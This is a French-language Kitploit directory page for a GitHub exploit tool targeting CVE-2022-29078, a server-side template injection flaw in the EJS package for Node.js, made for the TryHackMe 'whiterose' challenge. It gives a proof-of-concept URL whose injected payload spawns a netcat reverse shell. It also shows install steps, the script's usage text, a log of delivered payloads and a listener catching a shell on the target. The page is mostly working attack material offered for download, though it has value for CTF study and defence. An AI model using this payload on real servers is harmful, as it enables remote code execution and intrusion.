Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-29078 — Injection de modèles côté serveur (SSTI) RCE - Défi THM 'whiterose' | Kitploit
Outils/GitHubGitHub/l0n3m4n/cve-2022-29078
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCTFTests d'IntrusionDéveloppement de Charges Utiles
GitHubl0n3m4n/cve-2022-29078

CVE-2022-29078

Injection de modèles côté serveur (SSTI) RCE - Défi THM 'whiterose'

Voir le dépôt
32il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

THM Défi : SSTI RCE

Facebook X Medium Python Kali

whiterose

📜 Description

Le package ejs (aka Embedded JavaScript templates) version 3.1.6 pour Node.js permet l'injection de templates côté serveur dans settings[view options][outputFunctionName]. Ce paramètre est analysé comme une option interne et écrase l'option outputFunctionName avec une commande OS arbitraire (qui est exécutée lors de la compilation du template).

📚 Table des matières

  • 📜 Description
  • 🛠️ Installation
  • 💁 Références

POC

root@kitploit:~
http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s

🛠️ Installation et Utilisation

root@kitploit:~
$ git clone https://github.com/l0n3m4n/CVE-2022-29078.git
$ python3 -m venv venv && source venv/bin/activate && cd CVE-2022-29078
$ pip install colorama==0.4.6 && pip install requests==2.26.0 

burpsuite

root@kitploit:~
$ python3 CVE-2022-29078.py -h

  _________ ____________________.___                      .__         .__  __   
 /   _____//   _____/\__    ___/|   | ____ ___  _________ |  |   ____ |__|/  |_ 
 \_____  \ \_____  \   |    |   |   |/ __ \|  \/  /\____ \|  |  /  _ \|  \   __|
 /        \/        \  |    |   |   \  ___/ >    < |  |_> >  |_(  <_> )  ||  |  
/_______  /_______  /  |____|   |___|\___  >__/\_ \|   __/|____/\____/|__||__|  
        \/        \/                     \/      \/|__|                                     
      Auteur : l0n3m4n | ID : CVE-2022-29078 | Défis THM : Whiterose


usage: CVE-2022-29078.py [-h] -t TARGET -u USER -p PASSWORD

Envoie une requête POST personnalisée avec une URL, un nom d'utilisateur et un mot de passe.

options:
  -h, --help            affiche ce message d'aide et quitte
  -t TARGET, --target TARGET
                        URL cible (ex. http://admin.cyprusbank.thm/settings)
  -u USER, --user USER  Nom d'utilisateur à envoyer dans la requête
  -p PASSWORD, --password PASSWORD
                        Mot de passe à envoyer dans la requête

Exemple : python3 exploit-ssti.py -t http://admin.cyprusbank.thm/settings -u user1 -p pa$$w0rd 

Sortie

root@kitploit:~
  _________ ____________________.___                      .__         .__  __   
 /   _____//   _____/\__    ___/|   | ____ ___  _________ |  |   ____ |__|/  |_ 
 \_____  \ \_____  \   |    |   |   |/ __ \|  \/  /\____ \|  |  /  _ \|  \   __|
 /        \/        \  |    |   |   \  ___/ >    < |  |_> >  |_(  <_> )  ||  |  
/_______  /_______  /  |____|   |___|\___  >__/\_ \|   __/|____/\____/|__||__|  
        \/        \/                     \/      \/|__|                                     
      Auteur : l0n3m4n | ID : CVE-2022-29078 | Défis THM : Whiterose

[!] L'exploit se fermera automatiquement dès que nous recevrons un 504 du serveur

Journal

root@kitploit:~
$ cat exploit-ssti.log
2024-11-06 11:22:28,919 - INFO - Payload delivered successfully.
2024-11-06 11:32:47,806 - INFO - Payload delivered successfully.
2024-11-06 11:32:58,284 - INFO - Payload delivered successfully.
2024-11-06 11:37:13,616 - INFO - Payload delivered successfully.
2024-11-06 11:55:16,861 - WARNING - Connection failed with status code: 504
2024-11-06 11:59:27,820 - WARNING - Connection failed with status code: 504

Écouteur Netcat

root@kitploit:~
$ sudo rlwrap -cAr nc -lvnp 443                                   
[sudo] password for l0n3m4n: 
listening on [any] 443 ...
connect to [10.2.4.61] from (UNKNOWN) [10.10.145.199] 38020
bash: cannot set terminal process group (1233): Inappropriate ioctl for device
bash: no job control in this shell
web@cyprusbank:~/app$ 

💁 Références

  • https://github.com/mde/ejs/issues/720
  • https://github.com/projectdiscovery/nuclei-templates/main/http/cves/2022/CVE-2022-29078.yaml
  • https://github.com/mde/ejs/releases
  • https://eslam.io/posts/ejs-server-side-template-injection-rce
  • https://security.netapp.com/advisory/ntap-20220804-0001
Télécharger l’outil